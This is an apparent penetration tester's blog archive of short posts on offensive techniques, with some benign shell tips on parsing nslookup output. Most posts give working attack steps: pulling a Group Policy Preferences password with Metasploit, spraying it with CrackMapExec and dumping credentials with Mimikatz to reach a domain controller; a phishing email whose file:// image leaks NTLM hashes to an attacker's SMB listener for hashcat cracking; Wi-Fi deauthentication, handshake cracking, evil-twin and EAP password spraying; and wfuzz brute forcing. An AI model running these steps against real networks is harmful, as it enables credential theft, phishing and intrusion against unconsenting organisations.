Category Archives: hacks

Who’s Down with GPP? Yeah You Know Me!

I figured it might be good to post about things that I learn on the job. This week, I was able to get a password out of Group Policy Preferences (GPP) with Metasploit.

Here’s a great writeup by Sean Metcalf on it.

First I tried capturing and relaying hashes with Responder and NTLMRelayx, but the targets did not give local administrator access to the accounts I was relaying. (Boo!) I was able to crack some of the hashes, but that didn’t help right away. So I had to look for something else. Since I did have some working credentials, I could then fire up Metasploit and see what happens against GPP. Using the auxiliary/scanner/smb/smb_enum_gpp module, I set the RHOST for a domain controller, gave it the username and password that I had previously captured and fired away. It started listing out the policies, like Groups.xml and a nice little table popped up like:

Name Value
—- —–
TYPE Groups.xml
USERNAME Administrator (built-in)
PASSWORD xxxxxxxxxx
CHANGED 2017-01-08 16:49:50

Hooray!! So what do we do with that account? Spray it! That’s a local administrator account, so maybe it’ll have access elsewhere! How do we spray it? With CrackMapExec by byt3bl33d3r! Point that at all the hosts with SMB open and see what happens.

Run: cme smb IP -u Administrator -p SuperSecretPassword –local-auth

Hey, it worked! I know it worked because of that awesome “Pwn3d!” that CME shows. Next up, Mimikatz and see what’s in memory. So same command as above, but add the -M Mimikatz to it and see what comes up. Sure enough, there’s another set of credentials in clear text! Try that against the domain controller…NOW! Using CME again, with the new creds, against a DC and you know what? Pwn3d again! We are in! But as we know, DA is only the beginning and it’s time to find the data. So that’s what I learned this week, check the GPP for passwords!

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SMB Email

Not a new thing, just like most other posts, this is documentation.

If internal network access, scan with nmap for egress access, especially for port 445 and 139:

nmap -T4 -p0-65535 –max-retries 1 -sS -oA sweep_egress

If it’s closed, this probably isn’t going to work. If there is no access to test that, we’re flying blind and just hoping here.

Set up a listener on metasploit, I like auxiliary/server/capture/smb because it’s just so easy. Nothing to configure. Just “use” it and run.

Next, create an email for the target. In the email, include an html image tag and use file:// for the scheme. Point it to the metasploit server, and reference some non-existent image. Example: <img src=”file://” /> This will create a broken image icon in the email, but when the user attempts to load from a Windows machine, the user’s NTLMv2 hash will be sent to the listener.

If you want to also craft a believable phishing email, you could also put a link to a web page that you control and on that web page, also include the same image tag. This is just in case the user’s mail client doesn’t allow downloading of images. But a browser will!

Once hash(es) are captured, shut down the listener and while still in metasploit, enter: creds

This will give the hashes in a format that a password cracker like hashcat will understand. For hashcat, use -m5600 for the NTLMv2 format. Also, ensure there is no extra whitespace around the hashes when loaded into hashcat, or there will be a string length exception.

Run the cracker and pray. If it cracks, congrats! If not in the time allotted, sorry!


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Doing a Wireless Penetration Test

Make sure you have everything you’ll need, since these always need to be on-site.

  • Computer (even better to bring more than 1), with Kali Linux installed
  • Power cords
  • WiFi Card(s) – at least 1 since they don’t like to work when they need to
  • Different antennas
  • MiFi, since they’re probably not going to let you on the network so easily
  • USB Hub, as the wireless card might need extra power
  • OEM power cords
  • Power strip – there’s a lot to plug in

That’s a good start.

Thanks to Ted Raffle for this writeup.

Start up Kali, plug in the card, run iwconfig to see whether it is connected

Get rid of unnecessary processes: airmon-ng check kill

Start the interface: airmon-ng start wlan0

To see networks and their MAC: airodump-ng –band abg -cswitch 1 wlan0mon

If you need to de-auth: aireplay-ng –deauth <number of packets or 0 for infinite> -a [MAC of AP] -c [MAC of client] wlan0mon

Capture a PSK: airodump-ng wlan0mon -c 1 –bssid [MAC of AP] –write <filename>

Turn handshake value into a hashcat value: wpaclean clean.cap <filename>-01.cap

And: aircrack-ng clean.cap -J hccap

hashcat -m 2500 hccap.hccap -w wordlist rules/rule

Evil Twin:

Have mana installed

Use Nick Sanzotta’s “manaSucks” script:

python -iwlan0mon -m=<fake MAC address> –hostname ‘anything’ -s<SSID> -c6 –manaloud=0

For brute forcing the EAP network, get usernames, either also from Nick Sanzotta’s WiFiSuite, or from evil twin, or from scraping, use WiFiSuite:

python -iwlan0mon -s”<SSID>” -u <username file> -p<password> spray

If you get guest network access, test for network segmentation. nmap the neighborhood looking for “up” hosts. If there are any, nmap them for services. Also check for nameservers.

If you get on the corporate network with credentials, it’s essentially now an internal assessment. Pick something to show risk and move on. After all, it’s a wireless assessment.

Test outside the building for access

Plug in a wifi repeater/AP, is it detected? Are there network access controls? (Probably not, and now you have internal access)

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Use “host” instead of nslookup

A couple posts down, I was parsing the nslookup command to get hostnames. Even easier, use the host command. The hostname seems to be the fifth string after spaces, so using cut, it might look something like:

host <ip> | cut -d " " -f5

But there will be a period at the end, so just clean that up. Next is to get the IP and the hostname in some easy format, like colon or pipe delimited.

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Quick and Dirty Loop

Sometimes you gotta run a command lots of times. So let a loop do it. Here’s one example:

for ip in $(cat ips.txt); do
nslookup $ip >> nslookups.txt

This will take a file of IP addresses (ips.txt) and run nslookup on each IP and output the results to nslookups.txt. Or just remove the >> nslookups.txt if you want the output to the screen.


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Parsing nslookup

So today I had to convert IP addresses to hostnames. Seems easy enough, just use nslookup. But I had more than 400 IPs that needed to be converted. Ugh. So we need to do a little parsing.

First, take the IP addresses and get the host information. Let’s script this.

for ip in $(cat ips.txt); do
    nslookup $ip >> nslookups.txt

This will do an nslookup for each of the IPs in the ips.txt file. Great! Now we need to parse it. This should be pretty easy to just look for “name=” except sometimes, there isn’t a hostname and then “name=” doesn’t appear. So instead we look for something else that is always in there, regardless of whether there is a hostname. It seems the string “arpa” matches this. So the next step is to find that and then cut the hostname, or something that doesn’t look like a hostname if there isn’t one.

grep arpa nslookups.txt | cut -d " " -f3 > hostnames.txt

When this finishes, the hostnames.txt file will have one string per line, either the hostname or the word “can’t”. At this point, do a find/replace for “can’t” and make it blank (since there isn’t a hostname for that IP).

Now you have two files, one with all the IPs and one with the hostnames. Put them in two Excel columns and match them up. There is one more problem here that I haven’t found a good solution for yet. Some of the IPs may have more than one hostname. So when you match up the columns in Excel, you’ll likely have more hostnames than IPs. Unfortunately the only solution I have so far is to read through the nslookups.txt file, find the entries with more than one hostname and then manually fix this in the Excel file. It takes a little bit of time, but definitely better than running nslookup manually hundreds of times.

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Using WFuzz

Had a little bit of trouble figuring it out, so adding the format that I found here:

# wfuzz -c -z file,/usr/files/userfile -z file,/usr/files/passfile –ntlm FUZZ:FUZ2Z https:///

In a nutshell, the -z coincides with the “FUZZ”. Each subsequent payload/FUZZ combination points to the FUZ2Z or FUZ3Z and so on.

WFuzz Project

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sshdroidOnce sshdroid ( is installed on a rooted device, start zipping around, like in /data/user/0/<packagename>/shared_prefs

But to log on, first might need to turn off “Enable root” in sshdroid. But after logging in to: ssh root@<ip> -p 2222 then simply su.

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